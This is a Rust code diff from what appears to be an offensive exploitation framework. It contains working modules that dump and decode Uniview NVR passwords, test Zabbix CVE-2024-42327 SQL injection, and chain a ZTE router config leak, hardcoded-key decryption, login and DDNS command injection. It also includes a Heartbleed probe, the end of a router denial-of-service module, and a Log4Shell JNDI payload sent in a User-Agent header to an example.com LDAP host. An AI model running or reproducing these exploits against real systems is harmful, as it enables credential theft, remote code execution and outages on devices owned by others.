|
||||
response.status()
|
||||
);
|
||||
}
|
||||
|
||||
// Check if the host is still up — timeout after 1 second
|
||||
match timeout(Duration::from_secs(1), TcpStream::connect((ip.trim_matches(&['[', ']'][..]), port))).await {
|
||||
Ok(Ok(_)) => {
|
||||
println!("[!] Target still responds on port {}. DoS likely failed.", port);
|
||||
}
|
||||
_ => {
|
||||
println!("[+] Target no longer reachable on port {} — likely crashed. Returning to menu.", port);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Entry point required by auto-dispatch
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("Enter router port (default is 8082): ");
|
||||
let mut port_str = String::new();
|
||||
io::stdin().read_line(&mut port_str)?;
|
||||
let port: u16 = port_str.trim().parse().unwrap_or(8082);
|
||||
|
||||
println!("Enter username: ");
|
||||
let mut username = String::new();
|
||||
io::stdin().read_line(&mut username)?;
|
||||
let username = username.trim();
|
||||
|
||||
println!("Enter password: ");
|
||||
let mut password = String::new();
|
||||
io::stdin().read_line(&mut password)?;
|
||||
let password = password.trim();
|
||||
|
||||
execute(target, port, username, password).await
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
pub mod uniview_nvr_pwd_disclosure;
|
||||
|
||||
|
||||
|
||||
// pub mod
|
||||
@@ -0,0 +1,198 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use quick_xml::events::Event;
|
||||
use quick_xml::name::QName;
|
||||
use quick_xml::Reader;
|
||||
use reqwest::Client;
|
||||
use std::collections::HashMap;
|
||||
use std::fs::OpenOptions;
|
||||
use std::io::Write;
|
||||
use std::time::Duration;
|
||||
|
||||
/// Reverses the Uniview custom encoded password
|
||||
fn decode_pass(encoded: &str) -> String {
|
||||
let map: HashMap<&str, &str> = [
|
||||
("77","1"), ("78","2"), ("79","3"), ("72","4"), ("73","5"), ("74","6"),
|
||||
("75","7"), ("68","8"), ("69","9"), ("76","0"), ("93","!"), ("60","@"),
|
||||
("95","#"), ("88","$"), ("89","%"), ("34","^"), ("90","&"), ("86","*"),
|
||||
("84","("), ("85",")"), ("81","-"), ("35","_"), ("65","="), ("87","+"),
|
||||
("83","/"), ("32","\\"), ("0","|"), ("80",","), ("70",":"), ("71",";"),
|
||||
("7","{"), ("1","}"), ("82","."), ("67","?"), ("64","<"), ("66",">"),
|
||||
("2","~"), ("39","["), ("33","]"), ("94","\""), ("91","'"), ("28","`"),
|
||||
("61","A"), ("62","B"), ("63","C"), ("56","D"), ("57","E"), ("58","F"),
|
||||
("59","G"), ("52","H"), ("53","I"), ("54","J"), ("55","K"), ("48","L"),
|
||||
("49","M"), ("50","N"), ("51","O"), ("44","P"), ("45","Q"), ("46","R"),
|
||||
("47","S"), ("40","T"), ("41","U"), ("42","V"), ("43","W"), ("36","X"),
|
||||
("37","Y"), ("38","Z"), ("29","a"), ("30","b"), ("31","c"), ("24","d"),
|
||||
("25","e"), ("26","f"), ("27","g"), ("20","h"), ("21","i"), ("22","j"),
|
||||
("23","k"), ("16","l"), ("17","m"), ("18","n"), ("19","o"), ("12","p"),
|
||||
("13","q"), ("14","r"), ("15","s"), ("8","t"), ("9","u"), ("10","v"),
|
||||
("11","w"), ("4","x"), ("5","y"), ("6","z"),
|
||||
]
|
||||
.iter()
|
||||
.cloned()
|
||||
.collect();
|
||||
|
||||
encoded
|
||||
.split(';')
|
||||
.filter_map(|c| if c == "124" { None } else { map.get(c).copied() })
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// Strip any number of nested brackets and re-wrap once if IPv6
|
||||
fn normalize_target(raw: &str) -> String {
|
||||
// Preserve or default to http://
|
||||
let (scheme, after) = if let Some(s) = raw.strip_prefix("http://") {
|
||||
("http://", s)
|
||||
} else if let Some(s) = raw.strip_prefix("https://") {
|
||||
("https://", s)
|
||||
} else {
|
||||
("http://", raw)
|
||||
};
|
||||
|
||||
// Split authority vs path
|
||||
let (auth, path) = match after.find('/') {
|
||||
Some(i) => (&after[..i], &after[i..]),
|
||||
None => (after, ""),
|
||||
};
|
||||
|
||||
// Separate host_part and port_part
|
||||
let (host_part, port_part) = if auth.starts_with('[') {
|
||||
if let Some(pos) = auth.rfind(']') {
|
||||
(&auth[..=pos], &auth[pos + 1..])
|
||||
} else {
|
||||
(auth, "")
|
||||
}
|
||||
} else if auth.matches(':').count() > 1 {
|
||||
// IPv6 without brackets
|
||||
(auth, "")
|
||||
} else if let Some(pos) = auth.rfind(':') {
|
||||
// IPv4 or hostname with port
|
||||
(&auth[..pos], &auth[pos..])
|
||||
} else {
|
||||
(auth, "")
|
||||
};
|
||||
|
||||
// Peel away *all* outer brackets
|
||||
let mut inner = host_part;
|
||||
while inner.starts_with('[') && inner.ends_with(']') {
|
||||
inner = &inner[1..inner.len() - 1];
|
||||
}
|
||||
|
||||
// If it looks like IPv6, re-wrap exactly once
|
||||
let wrapped = if inner.contains(':') {
|
||||
format!("[{}]", inner)
|
||||
} else {
|
||||
inner.to_string()
|
||||
};
|
||||
|
||||
format!("{}{}{}{}", scheme, wrapped, port_part, path)
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\nUniview NVR remote passwords disclosure!");
|
||||
println!("Author: B1t (ported to Rust)\n");
|
||||
|
||||
// Normalize URL (scheme, IPv6 brackets, port, path)
|
||||
let target = normalize_target(target);
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(10))
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
// Fetch version info
|
||||
println!("[+] Getting model name and software version...");
|
||||
let version_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":116}}", target);
|
||||
let version_text = client
|
||||
.get(&version_url)
|
||||
.send().await?
|
||||
.text().await
|
||||
.context("Failed to fetch version")?;
|
||||
|
||||
let model = version_text
|
||||
.split("szDevName\":\"")
|
||||
.nth(1)
|
||||
.and_then(|s| s.split('"').next())
|
||||
.unwrap_or("Unknown");
|
||||
let sw_ver = version_text
|
||||
.split("szSoftwareVersion\":\"")
|
||||
.nth(1)
|
||||
.and_then(|s| s.split('"').next())
|
||||
.unwrap_or("Unknown");
|
||||
|
||||
println!("Model: {}", model);
|
||||
println!("Software Version: {}", sw_ver);
|
||||
|
||||
// Prepare log file
|
||||
let mut log = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open("nvr-success.txt")
|
||||
.context("Unable to open nvr-success.txt")?;
|
||||
|
||||
writeln!(log, "\n==== Uniview NVR ====").ok();
|
||||
writeln!(log, "Target: {}", target).ok();
|
||||
writeln!(log, "Model: {}", model).ok();
|
||||
writeln!(log, "Software Version: {}", sw_ver).ok();
|
||||
|
||||
// Fetch user config
|
||||
println!("\n[+] Getting configuration file...");
|
||||
let config_url = format!(
|
||||
"{}/cgi-bin/main-cgi?json={{\"cmd\":255,\"szUserName\":\"\",\"u32UserLoginHandle\":8888888888}}",
|
||||
target
|
||||
);
|
||||
let config_text = client
|
||||
.get(&config_url)
|
||||
.send().await?
|
||||
.text().await
|
||||
.context("Failed to fetch config")?;
|
||||
|
||||
// XML reader with trimmed text
|
||||
let mut reader = Reader::from_str(&config_text);
|
||||
reader.config_mut().trim_text(true);
|
||||
|
||||
let mut buf = Vec::new();
|
||||
let mut total_users = 0;
|
||||
|
||||
println!("\nUser | Stored Hash | Reversible Password");
|
||||
println!("{}", "_".repeat(80));
|
||||
writeln!(log, "\nUser | Stored Hash | Reversible Password").ok();
|
||||
writeln!(log, "{}", "_".repeat(80)).ok();
|
||||
|
||||
loop {
|
||||
match reader.read_event_into(&mut buf) {
|
||||
Ok(Event::Empty(ref e)) if e.name() == QName(b"User") => {
|
||||
let mut username = String::new();
|
||||
let mut user_hash = String::new();
|
||||
let mut revpass = String::new();
|
||||
|
||||
for attr in e.attributes().flatten() {
|
||||
match attr.key {
|
||||
k if k == QName(b"UserName") => username = std::str::from_utf8(&attr.value)?.to_string(),
|
||||
k if k == QName(b"UserPass") => user_hash = std::str::from_utf8(&attr.value)?.to_string(),
|
||||
k if k == QName(b"RvsblePass") => revpass = std::str::from_utf8(&attr.value)?.to_string(),
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
let decoded = decode_pass(&revpass);
|
||||
println!("{:<9}| {:<38}| {}", username, user_hash, decoded);
|
||||
writeln!(log, "{:<9}| {:<38}| {}", username, user_hash, decoded).ok();
|
||||
|
||||
total_users += 1;
|
||||
}
|
||||
Ok(Event::Eof) => break,
|
||||
Err(e) => return Err(anyhow!("XML parse error: {}", e)),
|
||||
_ => {}
|
||||
}
|
||||
buf.clear();
|
||||
}
|
||||
|
||||
println!("\n[+] Total users: {}", total_users);
|
||||
writeln!(log, "\n[+] Total users: {}", total_users).ok();
|
||||
println!("\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n");
|
||||
writeln!(log, "\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n").ok();
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod zabbix_7_0_0_sql_injection;
|
||||
@@ -0,0 +1,159 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use reqwest::Client;
|
||||
use serde_json::json;
|
||||
use std::fs;
|
||||
use std::io::{self, Write};
|
||||
|
||||
const HEADERS: &str = "application/json";
|
||||
|
||||
// Internal function renamed to `exploit_zabbix` to avoid conflicts
|
||||
async fn exploit_zabbix(api_url: &str, username: &str, password: &str, _payload: &str) -> Result<()> {
|
||||
let client = Client::new();
|
||||
let url = format!("{}/api_jsonrpc.php", api_url.trim_end_matches('/'));
|
||||
|
||||
// // Login to get the token
|
||||
let login_data = json!({
|
||||
"jsonrpc": "2.0",
|
||||
"method": "user.login",
|
||||
"params": {
|
||||
"username": username,
|
||||
"password": password
|
||||
},
|
||||
"id": 1,
|
||||
"auth": null
|
||||
});
|
||||
|
||||
let login_response = client
|
||||
.post(&url)
|
||||
.header("Content-Type", HEADERS)
|
||||
.json(&login_data)
|
||||
.send()
|
||||
.await
|
||||
.map_err(|e| anyhow!("Login request error: {}", e))?;
|
||||
|
||||
let login_response_json: serde_json::Value = login_response
|
||||
.json()
|
||||
.await
|
||||
.map_err(|e| anyhow!("Failed to parse login response: {}", e))?;
|
||||
|
||||
let auth_token = login_response_json
|
||||
.get("result")
|
||||
.ok_or_else(|| anyhow!("Failed to retrieve auth token"))?
|
||||
.as_str()
|
||||
.ok_or_else(|| anyhow!("Auth token not a string"))?
|
||||
.to_string();
|
||||
|
||||
// // SQLi test using the provided payload
|
||||
let sqli_data = json!({
|
||||
"jsonrpc": "2.0",
|
||||
"method": "user.get",
|
||||
"params": {
|
||||
"selectRole": ["roleid", "name", "type", "readonly AND (SELECT(SLEEP(5)))"],
|
||||
"userids": ["1", "2"]
|
||||
},
|
||||
"id": 1,
|
||||
"auth": auth_token
|
||||
});
|
||||
|
||||
let test_response = client
|
||||
.post(&url)
|
||||
.header("Content-Type", HEADERS)
|
||||
.json(&sqli_data)
|
||||
.send()
|
||||
.await
|
||||
.map_err(|e| anyhow!("Test request error: {}", e))?;
|
||||
|
||||
let test_response_text = test_response
|
||||
.text()
|
||||
.await
|
||||
.map_err(|e| anyhow!("Failed to read test response: {}", e))?;
|
||||
|
||||
if test_response_text.contains("\"error\"") {
|
||||
println!("[-] NOT VULNERABLE.");
|
||||
} else {
|
||||
println!("[!] VULNERABLE.");
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// Prompt user to choose a payload option
|
||||
async fn get_payload_choice() -> Result<String> {
|
||||
println!("Choose SQL payload option:");
|
||||
println!("1: Load SQL payloads from file");
|
||||
println!("2: Enter custom SQL payload");
|
||||
println!("3: Use default SQL payload");
|
||||
|
||||
let mut choice = String::new();
|
||||
print!("Enter your choice (1/2/3): ");
|
||||
io::stdout().flush().unwrap();
|
||||
io::stdin()
|
||||
.read_line(&mut choice)
|
||||
.map_err(|e| anyhow!("Failed to read choice: {}", e))?;
|
||||
|
||||
let choice = choice.trim();
|
||||
|
||||
match choice {
|
||||
"1" => {
|
||||
// Load from a file (e.g., sql_payloads.txt)
|
||||
println!("Loading SQL payloads from file...");
|
||||
let payloads = fs::read_to_string("sql_payloads.txt")
|
||||
.map_err(|e| anyhow!("Error reading payload file: {}", e))?;
|
||||
Ok(payloads.trim().to_string())
|
||||
}
|
||||
"2" => {
|
||||
// Allow user to input a custom payload
|
||||
println!("Enter your custom SQL payload (do not include the SELECT statement, only the payload part): ");
|
||||
let mut custom_payload = String::new();
|
||||
io::stdout().flush().unwrap();
|
||||
io::stdin()
|
||||
.read_line(&mut custom_payload)
|
||||
.map_err(|e| anyhow!("Failed to read custom payload: {}", e))?;
|
||||
|
||||
let custom_payload = custom_payload.trim();
|
||||
|
||||
// Ensure the custom payload isn't empty
|
||||
if custom_payload.is_empty() {
|
||||
return Err(anyhow!("Custom payload cannot be empty. Please enter a valid payload."));
|
||||
}
|
||||
|
||||
Ok(custom_payload.to_string())
|
||||
}
|
||||
"3" => {
|
||||
// Use a default payload
|
||||
println!("Using default SQL payload...");
|
||||
Ok("readonly AND (SELECT(SLEEP(5)))".to_string())
|
||||
}
|
||||
_ => Err(anyhow!("Invalid choice, please select 1, 2, or 3.")),
|
||||
}
|
||||
}
|
||||
|
||||
// Public dispatch entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[*] Zabbix 7.0.0 SQL Injection Checker (CVE-2024-42327)");
|
||||
println!("[*] Target API URL: {}", target);
|
||||
|
||||
let mut username = String::new();
|
||||
let mut password = String::new();
|
||||
|
||||
print!("Username: ");
|
||||
io::stdout().flush().unwrap();
|
||||
io::stdin()
|
||||
.read_line(&mut username)
|
||||
.map_err(|e| anyhow!("Failed to read username: {}", e))?;
|
||||
|
||||
print!("Password: ");
|
||||
io::stdout().flush().unwrap();
|
||||
io::stdin()
|
||||
.read_line(&mut password)
|
||||
.map_err(|e| anyhow!("Failed to read password: {}", e))?;
|
||||
|
||||
let username = username.trim();
|
||||
let password = password.trim();
|
||||
|
||||
// Get the payload choice from the user
|
||||
let payload = get_payload_choice().await?;
|
||||
|
||||
// Run the exploit with the selected payload
|
||||
exploit_zabbix(target, username, password, &payload).await
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
pub mod zte_zxv10_h201l_rce_authenticationbypass;
|
||||
@@ -0,0 +1,229 @@
|
||||
use aes::Aes128;
|
||||
use anyhow::Result;
|
||||
use cipher::{BlockDecrypt, KeyInit};
|
||||
use cipher::generic_array::GenericArray;
|
||||
use reqwest::{Client, cookie::Jar};
|
||||
use std::{
|
||||
fs::{self, File},
|
||||
io::{Read, Write},
|
||||
net::TcpStream,
|
||||
sync::Arc,
|
||||
};
|
||||
use tokio::time::Duration;
|
||||
use std::net::ToSocketAddrs;
|
||||
|
||||
|
||||
|
||||
/// AES-128 ECB decrypt without padding
|
||||
fn decrypt_ecb_nopad(data: &[u8], key: &[u8]) -> Result<Vec<u8>> {
|
||||
use cipher::consts::U16;
|
||||
|
||||
if data.len() % 16 != 0 {
|
||||
anyhow::bail!("ECB decryption requires block-aligned data");
|
||||
}
|
||||
|
||||
let cipher = Aes128::new_from_slice(key)?;
|
||||
let mut output = Vec::with_capacity(data.len());
|
||||
|
||||
for chunk in data.chunks(16) {
|
||||
let mut block = GenericArray::<u8, U16>::clone_from_slice(chunk);
|
||||
cipher.decrypt_block(&mut block);
|
||||
output.extend_from_slice(&block);
|
||||
}
|
||||
|
||||
Ok(output)
|
||||
}
|
||||
|
||||
/// Extract host and port from target
|
||||
fn parse_target(target: &str) -> Result<(String, u16)> {
|
||||
if target.contains("]:") {
|
||||
let parts: Vec<&str> = target.rsplitn(2, "]:").collect();
|
||||
let port = parts[0].parse::<u16>()?;
|
||||
let host = parts[1].trim_start_matches('[').to_string();
|
||||
return Ok((host, port));
|
||||
} else if target.contains(':') {
|
||||
let parts: Vec<&str> = target.splitn(2, ':').collect();
|
||||
let port = parts[1].parse::<u16>()?;
|
||||
return Ok((parts[0].to_string(), port));
|
||||
}
|
||||
|
||||
println!("[?] No port provided. Enter port:");
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let port = input.trim().parse::<u16>()?;
|
||||
Ok((target.to_string(), port))
|
||||
}
|
||||
|
||||
/// Leak the router config file
|
||||
fn leak_config(host: &str, port: u16) -> Result<()> {
|
||||
println!("[*] Leaking config from http://{}:{}/ ...", host, port);
|
||||
|
||||
// Resolve and connect with timeout
|
||||
let addr = (host, port)
|
||||
.to_socket_addrs()?
|
||||
.next()
|
||||
.ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
|
||||
let timeout = Duration::from_secs(5);
|
||||
let mut conn = TcpStream::connect_timeout(&addr, timeout)?;
|
||||
|
||||
let boundary = "----WebKitFormBoundarysQuwz2s3PjXAakFJ";
|
||||
let body = format!(
|
||||
"--{}\r\nContent-Disposition: form-data; name=\"config\"\r\n\r\n\r\n--{}--\r\n",
|
||||
boundary, boundary
|
||||
);
|
||||
|
||||
let request = format!(
|
||||
"POST /getpage.gch?pid=101 HTTP/1.1\r\n\
|
||||
Host: {}:{}\r\n\
|
||||
Content-Type: multipart/form-data; boundary={}\r\n\
|
||||
Content-Length: {}\r\n\
|
||||
Connection: close\r\n\r\n{}",
|
||||
host, port, boundary, body.len(), body
|
||||
);
|
||||
|
||||
conn.write_all(request.as_bytes())?;
|
||||
|
||||
let mut response = vec![];
|
||||
conn.read_to_end(&mut response)?;
|
||||
if let Some(start) = response.windows(4).position(|w| w == b"\r\n\r\n") {
|
||||
let body = &response[start + 4..];
|
||||
File::create("config.bin")?.write_all(body)?;
|
||||
}
|
||||
|
||||
println!("[+] Config saved to config.bin");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Decrypt config and extract credentials
|
||||
fn decrypt_config(config_key: &[u8]) -> Result<(String, String)> {
|
||||
let mut encrypted = File::open("config.bin")?;
|
||||
let mut data = vec![];
|
||||
encrypted.read_to_end(&mut data)?;
|
||||
|
||||
let mut key16 = [0u8; 16];
|
||||
key16[..config_key.len().min(16)].copy_from_slice(&config_key[..config_key.len().min(16)]);
|
||||
|
||||
let decrypted = decrypt_ecb_nopad(&data, &key16)?;
|
||||
fs::write("decrypted.xml", &decrypted)?;
|
||||
|
||||
let xml = fs::read_to_string("decrypted.xml")?;
|
||||
let username = xml.split("IGD.AU2").nth(1)
|
||||
.and_then(|s| s.split("User").nth(1))
|
||||
.and_then(|s| s.split("val=\"").nth(1))
|
||||
.and_then(|s| s.split('"').next())
|
||||
.unwrap_or("unknown")
|
||||
.to_string();
|
||||
|
||||
let password = xml.split("IGD.AU2").nth(1)
|
||||
.and_then(|s| s.split("Pass").nth(1))
|
||||
.and_then(|s| s.split("val=\"").nth(1))
|
||||
.and_then(|s| s.split('"').next())
|
||||
.unwrap_or("unknown")
|
||||
.to_string();
|
||||
|
||||
fs::remove_file("config.bin").ok();
|
||||
fs::remove_file("decrypted.xml").ok();
|
||||
|
||||
println!("[+] Decrypted credentials: {} / {}", username, password);
|
||||
Ok((username, password))
|
||||
}
|
||||
|
||||
/// Perform login
|
||||
async fn login(session: &Client, host: &str, port: u16, username: &str, password: &str) -> Result<()> {
|
||||
println!("[*] Logging in to http://{}:{}/ ...", host, port);
|
||||
let url = format!("http://{}:{}/", host, port);
|
||||
let page = session.get(&url).send().await?.text().await?;
|
||||
|
||||
let token = page.split("getObj(\"Frm_Logintoken\").value = \"").nth(1)
|
||||
.and_then(|s| s.split('"').next())
|
||||
.ok_or_else(|| anyhow::anyhow!("Login token not found"))?;
|
||||
|
||||
let params = [
|
||||
("Username", username),
|
||||
("Password", password),
|
||||
("frashnum", ""),
|
||||
("Frm_Logintoken", token),
|
||||
];
|
||||
|
||||
session.post(&url).form(¶ms).send().await?;
|
||||
println!("[+] Login submitted.");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
|
||||
/// Logout
|
||||
async fn logout(session: &Client, host: &str, port: u16) -> Result<()> {
|
||||
let url = format!("http://{}:{}/", host, port);
|
||||
session.post(&url).form(&[("logout", "1")]).send().await?;
|
||||
println!("[*] Logged out.");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Command injection payload generator
|
||||
fn command_injection(cmd: &str) -> String {
|
||||
let inj = format!("user;{};echo", cmd);
|
||||
inj.replace(" ", "${IFS}")
|
||||
}
|
||||
|
||||
/// Abuse DDNS form to inject command
|
||||
async fn set_ddns(session: &Client, host: &str, port: u16, payload: &str) -> Result<()> {
|
||||
let url = format!(
|
||||
"http://{}:{}/getpage.gch?pid=1002&nextpage=app_ddns_conf_t.gch",
|
||||
host, port
|
||||
);
|
||||
|
||||
let form = [
|
||||
("IF_ACTION", "apply"), ("Name", "dyndns"),
|
||||
("Server", "http://www.dyndns.com/"), ("Username", payload),
|
||||
("Password", "password"), ("Interface", "IGD.WD1.WCD3.WCIP1"),
|
||||
("DomainName", "hostname"), ("Service", "dyndns"),
|
||||
("Name0", "dyndns"), ("Server0", "http://www.dyndns.com/"),
|
||||
("ServerPort0", "80"), ("UpdateInterval0", "86400"),
|
||||
("RetryInterval0", "60"), ("MaxRetries0", "3"),
|
||||
("Name1", "No-IP"), ("Server1", "http://www.noip.com/"),
|
||||
("ServerPort1", "80"), ("UpdateInterval1", "86400"),
|
||||
("RetryInterval1", "60"), ("MaxRetries1", "3"),
|
||||
("Enable", "1"), ("HostNumber", "")
|
||||
];
|
||||
|
||||
println!("[*] Sending command injection payload...");
|
||||
session.post(&url).form(&form).send().await?;
|
||||
println!("[+] Payload delivered.");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Exploit wrapper
|
||||
async fn exploit(config_key: &[u8], host: &str, port: u16) -> Result<()> {
|
||||
let cookie_jar = Arc::new(Jar::default());
|
||||
let session = Client::builder()
|
||||
.cookie_provider(cookie_jar)
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(10)) // ⏱️ HTTP timeout
|
||||
.build()?;
|
||||
|
||||
leak_config(host, port)?;
|
||||
let (username, password) = decrypt_config(config_key)?;
|
||||
login(&session, host, port, &username, &password).await?;
|
||||
let payload = command_injection("echo hacked > /var/tmp/pwned");
|
||||
set_ddns(&session, host, port, &payload).await?;
|
||||
logout(&session, host, port).await?;
|
||||
println!("[✓] Exploit complete.");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
|
||||
/// Dispatch entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let (host, port) = parse_target(target)?;
|
||||
let config_key = b"Renjx%2$CjM";
|
||||
match exploit(config_key, &host, port).await {
|
||||
Ok(_) => {
|
||||
println!("[*] Success on {}:{}", host, port);
|
||||
Ok(())
|
||||
}
|
||||
Err(e) => {
|
||||
println!("[!] Exploit failed: {}", e);
|
||||
Err(e)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,3 @@
|
||||
pub mod exploits;
|
||||
pub mod scanners;
|
||||
pub mod creds;
|
||||
@@ -0,0 +1,121 @@
|
||||
use anyhow::{Context, Result};
|
||||
use std::io::{self, Write};
|
||||
use std::net::ToSocketAddrs;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{timeout, Duration};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
run_interactive(target).await
|
||||
}
|
||||
|
||||
pub async fn run_interactive(target: &str) -> Result<()> {
|
||||
let port = prompt_port().unwrap_or(443);
|
||||
run_with_port(target, port).await
|
||||
}
|
||||
|
||||
pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
|
||||
let raw = target.trim();
|
||||
let stripped = raw.trim_start_matches('[').trim_end_matches(']');
|
||||
let host = if stripped.contains(':') {
|
||||
format!("[{}]", stripped)
|
||||
} else {
|
||||
stripped.to_string()
|
||||
};
|
||||
let addr = format!("{}:{}", host, port);
|
||||
|
||||
println!("[*] Connecting to {}...", addr);
|
||||
let socket_addr = addr
|
||||
.to_socket_addrs()
|
||||
.context("Invalid target address format")?
|
||||
.next()
|
||||
.context("Could not resolve target address")?;
|
||||
|
||||
let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
|
||||
let mut stream = match stream_result {
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => {
|
||||
println!("[-] Connection to {} failed: {}", socket_addr, e);
|
||||
return Ok(());
|
||||
}
|
||||
Err(_) => {
|
||||
println!("[-] Connection to {} timed out", socket_addr);
|
||||
return Ok(());
|
||||
}
|
||||
};
|
||||
|
||||
stream.write_all(&build_client_hello()).await?;
|
||||
let mut response = vec![0u8; 4096];
|
||||
let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
|
||||
match read_result {
|
||||
Ok(Ok(n)) if n > 0 => {}
|
||||
_ => {
|
||||
println!("[-] No response to Client Hello");
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
|
||||
stream.write_all(&build_heartbeat_request(0x4000)).await?;
|
||||
let mut leak = vec![0u8; 65535];
|
||||
let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
|
||||
match read_result {
|
||||
Ok(Ok(n)) if n > 0 => {
|
||||
println!("[+] Possible heartbleed vulnerability! Received {} bytes.", n);
|
||||
}
|
||||
_ => {
|
||||
println!("[-] Target does not seem vulnerable (no heartbeat response).");
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn build_client_hello() -> Vec<u8> {
|
||||
let version: u16 = 0x0302;
|
||||
let mut random = vec![0u8; 32];
|
||||
random[0..4].copy_from_slice(&0x12345678u32.to_be_bytes());
|
||||
let mut hello = vec![];
|
||||
hello.extend_from_slice(&version.to_be_bytes());
|
||||
hello.extend_from_slice(&random);
|
||||
hello.push(0);
|
||||
hello.extend_from_slice(&0x0002u16.to_be_bytes());
|
||||
hello.extend_from_slice(&0x0033u16.to_be_bytes());
|
||||
hello.extend_from_slice(&0x0039u16.to_be_bytes());
|
||||
hello.push(1);
|
||||
hello.push(0);
|
||||
hello.extend_from_slice(&0x0000u16.to_be_bytes());
|
||||
let mut handshake = vec![0x01];
|
||||
let len = (hello.len() as u32).to_be_bytes();
|
||||
handshake.extend_from_slice(&len[1..]);
|
||||
handshake.extend_from_slice(&hello);
|
||||
build_tls_record(0x16, version, &handshake)
|
||||
}
|
||||
|
||||
fn build_heartbeat_request(length: u16) -> Vec<u8> {
|
||||
let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
|
||||
payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
|
||||
build_tls_record(0x18, 0x0302, &payload)
|
||||
}
|
||||
|
||||
fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
|
||||
let mut record = vec![record_type];
|
||||
record.extend_from_slice(&version.to_be_bytes());
|
||||
record.extend_from_slice(&(payload.len() as u16).to_be_bytes());
|
||||
record.extend_from_slice(payload);
|
||||
record
|
||||
}
|
||||
|
||||
fn prompt_port() -> Option<u16> {
|
||||
print!("Enter port (default 443): ");
|
||||
io::stdout().flush().ok();
|
||||
let mut input = String::new();
|
||||
if io::stdin().read_line(&mut input).is_ok() {
|
||||
let input = input.trim();
|
||||
if input.is_empty() {
|
||||
return None;
|
||||
}
|
||||
if let Ok(p) = input.parse::<u16>() {
|
||||
return Some(p);
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
use anyhow::{Result, Context};
|
||||
use regex::Regex;
|
||||
use reqwest::Client;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
run_interactive(target).await
|
||||
}
|
||||
|
||||
pub async fn run_interactive(target: &str) -> Result<()> {
|
||||
let client = Client::builder()
|
||||
.redirect(reqwest::redirect::Policy::limited(5))
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
let title_re = Regex::new(r"(?i)<title>(.*?)</title>")?;
|
||||
for scheme in ["http", "https"] {
|
||||
let url = format!("{}://{}", scheme, target);
|
||||
match client.get(&url).send().await {
|
||||
Ok(resp) => {
|
||||
let text = resp.text().await.unwrap_or_default();
|
||||
if let Some(cap) = title_re.captures(&text) {
|
||||
println!("[+] {} -> {}", url, cap.get(1).unwrap().as_str());
|
||||
} else {
|
||||
println!("[+] {} -> <no title>", url);
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("[-] Failed {}: {}", url, e);
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
use anyhow::{Result, Context};
|
||||
use rand::Rng;
|
||||
use reqwest::Client;
|
||||
use std::io::{self, Write};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
run_interactive(target).await
|
||||
}
|
||||
|
||||
pub async fn run_interactive(_target: &str) -> Result<()> {
|
||||
print!("Enter URL or host to scan: ");
|
||||
io::stdout().flush().ok();
|
||||
let mut input = String::new();
|
||||
io::stdin().read_line(&mut input)?;
|
||||
let host = input.trim();
|
||||
|
||||
let client = Client::builder()
|
||||
.redirect(reqwest::redirect::Policy::limited(3))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
let token: u32 = rand::thread_rng().gen();
|
||||
let payload = format!("${{jndi:ldap://{:x}.example.com/a}}", token);
|
||||
|
||||
for scheme in ["http", "https"] {
|
||||
let url = if host.starts_with("http") {
|
||||
host.to_string()
|
||||
} else {
|
||||
format!("{}://{}", scheme, host)
|
||||
};
|
||||
match client.get(&url).header("User-Agent", &payload).send().await {
